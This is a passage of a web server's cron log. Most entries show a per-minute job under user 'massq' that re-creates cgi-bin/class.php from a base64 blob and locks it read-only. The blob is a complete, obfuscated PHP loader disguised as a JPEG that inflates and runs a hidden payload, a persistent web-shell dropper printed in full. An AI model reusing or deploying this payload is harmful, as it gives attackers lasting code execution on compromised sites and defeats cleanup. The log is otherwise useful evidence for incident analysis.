4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:49:01 server CROND[916]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:50:01 server CROND[977]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 12:50:01 server CROND[979]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 12:50:01 server CROND[980]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 12:50:01 server CROND[981]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:50:01 server CROND[982]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 12:51:01 server CROND[1189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:52:01 server CROND[1262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:53:01 server CROND[1324]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:54:01 server CROND[1384]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:55:01 server CROND[1460]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 12:55:01 server CROND[1461]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 12:55:01 server CROND[1462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:56:01 server CROND[1672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:57:01 server CROND[1744]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:57:01 server CROND[1745]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 12:58:01 server CROND[1808]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:59:01 server CROND[1865]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:00:01 server CROND[1928]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 13:00:01 server CROND[1930]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 13:00:01 server CROND[1931]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 13:00:01 server CROND[1929]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:01:01 server CROND[2114]: (root) CMD (run-parts /etc/cron.hourly)
Apr 12 13:01:01 server CROND[2115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:01:01 server run-parts(/etc/cron.hourly)[2114]: starting 0anacron
Apr 12 13:01:01 server run-parts(/etc/cron.hourly)[2127]: finished 0anacron
